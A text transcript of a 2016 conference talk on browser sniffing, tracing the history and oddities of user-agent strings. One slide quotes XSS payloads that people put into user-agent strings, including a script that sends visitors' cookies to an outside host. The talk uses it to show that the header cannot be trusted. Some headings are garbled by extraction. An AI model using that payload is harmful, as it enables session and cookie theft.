Everybody Lies

A presentation at Halfstack in November 2016 in London, UK by Niels Leenheer

Slide 1

Slide 1

ev ! ybody lies N iels Leenheer halfstack, november 18th 2016 @html5test

Slide 2

Slide 2

Slide 3

Slide 3

Slide 4

Slide 4

this talk is full of 
 lies and deception w " ning:

Slide 5

Slide 5

Slide 6

Slide 6

Slide 7

Slide 7

Slide 8

Slide 8

this talk is about browser sniffing yes…

Slide 9

Slide 9

why?

Slide 10

Slide 10

browser sniffing is 
 dirty

Slide 11

Slide 11

you should use 
 f eature detection

Slide 12

Slide 12

Slide 13

Slide 13

De " Web Devel #! s: 
 Br $ s ! Sniffing is Stupid http://www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

Slide 14

Slide 14

5 Reas % s Why 
 Br $ s ! Sniffing Stinks https://www.sitepoint.com/why-browser-sniffing-stinks/

Slide 15

Slide 15

Br $ s ! Detecti % is Bad https://css-tricks.com/browser-detection-is-bad/

Slide 16

Slide 16

Slide 17

Slide 17

feature 
 detection responsive 
 design progressive 
 enhancement best-practices

Slide 18

Slide 18

anti-pa &! n browser sniffing

Slide 19

Slide 19

browser sniffing is just a tool

Slide 20

Slide 20

everybody uses 
 browser sniffing

Slide 21

Slide 21

Slide 22

Slide 22

is browser sniffing 
 actually? what…

Slide 23

Slide 23

the http specification defines the user-agent header 
 
 it contains a string with information about the browser

Slide 24

Slide 24

every request the browser makes to the server includes the user-agent header

Slide 25

Slide 25

GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 


Slide 26

Slide 26

GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net 
 HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 
 <!doctype html>

<html> <head>

Slide 27

Slide 27

you can access 
 the exact same string 
 using javascript

Slide 28

Slide 28

<script type=“text/javascript"> 
 <!-- 
 
 alert(navigator.userAgent); 
 
 //--> 
 </script>




Slide 29

Slide 29

you can use the user-agent string to identify: 
 
 the browser 
 the rendering engine 
 the operating system 
 the device model 
 and more

Slide 30

Slide 30

Slide 31

Slide 31

is browser sniffing 
 good for? what…

Slide 32

Slide 32

knowledge

Slide 33

Slide 33

if you know the platform or browser, 
 you can streamline the user experience

Slide 34

Slide 34

Slide 35

Slide 35

if you know your users, 
 you can build a better site for them

Slide 36

Slide 36

if you know which browser is being 
 used, you can work around bugs

Slide 37

Slide 37

if you know which browser is causing errors, you can fix them

Slide 38

Slide 38

privacy implications

Slide 39

Slide 39

Slide 40

Slide 40

Slide 41

Slide 41

changing your user agent 
 string actually makes it 
 easier to track you

Slide 42

Slide 42

anonymity by looking 
 like everybody else

Slide 43

Slide 43

Slide 44

Slide 44

Slide 45

Slide 45

is browser sniffing 
 so difficult? why…

Slide 46

Slide 46

things started out simple

Slide 47

Slide 47

Mosaic/0.9 Mosaic

Slide 48

Slide 48

Mozilla/1.0 (Win3.1 ) Netscape Navigator code name of 
 the browser

Slide 49

Slide 49

but it quickly started 
 to get complicated

Slide 50

Slide 50

Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer compatible with 
 Netscape Navigator 1.0

Slide 51

Slide 51

Opera/8.54 (Windows 95 ; U; en) Opera

Slide 52

Slide 52

Opera/10.00 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Opera

Slide 53

Slide 53

Opera/9.8 (Windows NT 5.1; U; en)


 Presto/2.2.0 Version/10.00 Opera real version of 
 the browser

Slide 54

Slide 54

Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en; rv:1.9.1) 
 Gecko/20090624 Firefox/3.5 Firefox build date of 
 the rendering engine

Slide 55

Slide 55

Mozilla/5.0 ( Windows NT 6.0; rv:2.0) 
 Gecko/20100101 Firefox/4.0 Firefox build date is no 
 longer updated

Slide 56

Slide 56

Mozilla/5.0 ( Windows NT 6.0; rv:16.0) 
 Gecko/16.0 Firefox/16.0 Firefox

Slide 57

Slide 57

and it gets worse…

Slide 58

Slide 58

Mozilla/5.0 
 ( Macintosh; U; PPC Mac OS X 10_4_11; en) 
 AppleWebKit/525.27.1 (KHTML, like Gecko) 
 Version/3.2.3 Safari/525.28.3 Safari

Slide 59

Slide 59

Mozilla/5.0 
 ( Windows; U; Windows NT 6.0; en) 
 AppleWebKit/525.27.1 (KHTML, like Gecko) 
 Chrome/15.0.874.120 Safari/525.28.3 Chrome

Slide 60

Slide 60

Mozilla/5.0 
 (Windows NT 10.0; WOW64) 
 AppleWebKit/537.36 (KHTML, like Gecko) 
 Chrome/44.0.2403.155 Safari/537.36 
 OPR/31.0.1889.180 Opera

Slide 61

Slide 61

Mozilla/5.0 
 ( Windows NT 6.3; Trident/7.0; rv:11.0) 
 like Gecko Internet Explorer

Slide 62

Slide 62

Mozilla/5.0 ( Windows NT 10.0) 
 AppleWebKit/537.36 (KHTML, like Gecko) 
 Chrome/42.0.2311.135 Safari/525.28.3 
 Edge/12.10162 Edge

Slide 63

Slide 63

and those were all relatively normal user-agent strings

Slide 64

Slide 64

sometimes browsers simply do not make sense at all

Slide 65

Slide 65

Mozilla/5.0 (Linux; Android 4.3; en; 
 SAMSUNG GT-I9505 Build/JSS15J) 
 AppleWebKit/537.36 (KHTML, like Gecko) 
 Version/1.5 Chrome/28.0.1500.94 
 Mobile Safari/537.36 Samsung Internet

Slide 66

Slide 66

Mozilla/5.0 (Series40; NOKIALumia800; 
 Profile/MIDP-2.1 Configuration/CLDC-1.1) 
 Gecko/20100401 S40OviBrowser/1.8.0.50.5 Nokia Xpress for Windows Phone

Slide 67

Slide 67

sometimes browsers lie to 
 hide their true identity

Slide 68

Slide 68

Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera

Slide 69

Slide 69

Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera Mobile
(desktop mode) ROT 13 encrypted 
 “mobi“

Slide 70

Slide 70

Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0 ) Internet Explorer

Slide 71

Slide 71

Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet Explorer
(compatibility view ) Trident 5 means it’s 
 Internet Explorer 9

Slide 72

Slide 72

sometimes browsers 
 are just weird

Slide 73

Slide 73

Slide 74

Slide 74

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2

Mozilla/4.0 (compatible; 
 MSIE 6.0; MSIE 5.5; Windows NT 5.0) 
 Opera 7.02 Bork-edition [en] #1 #2

Slide 75

Slide 75

Slide 76

Slide 76

Slide 77

Slide 77

BORK BORK BORK

Slide 78

Slide 78

Slide 79

Slide 79

Slide 80

Slide 80

Slide 81

Slide 81

and it is possible to change the user-agent string yourself

Slide 82

Slide 82

<script>alert("My Little Pony");</script> <script language="JavaScript">document.location= 
 "http://www.max1094.18.lc/admin/cookies.php?c=" + 
 document.cookie;</script>

<img src="http://bravo.trollab.org/mylittlepony.png" 
 alt="My Little Pony"> XSS attacks

Slide 83

Slide 83

XSS attacks

Slide 84

Slide 84


 ( ╯ ° □ ° ） ╯ ︵

┻━┻ 
 
 Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)

You’re site is ! funny people

Slide 85

Slide 85

angry people

Slide 86

Slide 86

FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) 
 FuckYou/123.0 FuckingFox/321.0 
 
 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) 
 Presto/2.10.229 Version/11.62 
 
 Seriously, Go fuck yourself 
 
 W3C standards are important.

 Stop fucking obsessing over user-agent already.

angry people

Slide 87

Slide 87

1.000.000 
 unique 
 useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex 4 x balls

Slide 88

Slide 88

user-agent strings 
 cannot be trusted!

Slide 89

Slide 89

ev ! ybody lies

Slide 90

Slide 90

use browser sniffing for controlling access to 
 your website y ! sh ! ld nev "

Slide 91

Slide 91

y ! sh ! ld nev " use browser sniffing for determining browser capabilities

Slide 92

Slide 92

y ! sh ! ld nev " build your own 
 browser sniffing library 


Slide 93

Slide 93

Slide 94

Slide 94

use a browser sniffing library that 
 is regularly updated #1

Slide 95

Slide 95

check if it is possible
to automatically schedule updates #2

Slide 96

Slide 96

Slide 97

Slide 97

“If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed” — Ghandi

Slide 98

Slide 98

“If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed” — Ghandi

Slide 99

Slide 99

— Adolf Hitler “If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed”

Slide 100

Slide 100

thank you!

Slide 101

Slide 101

thank you!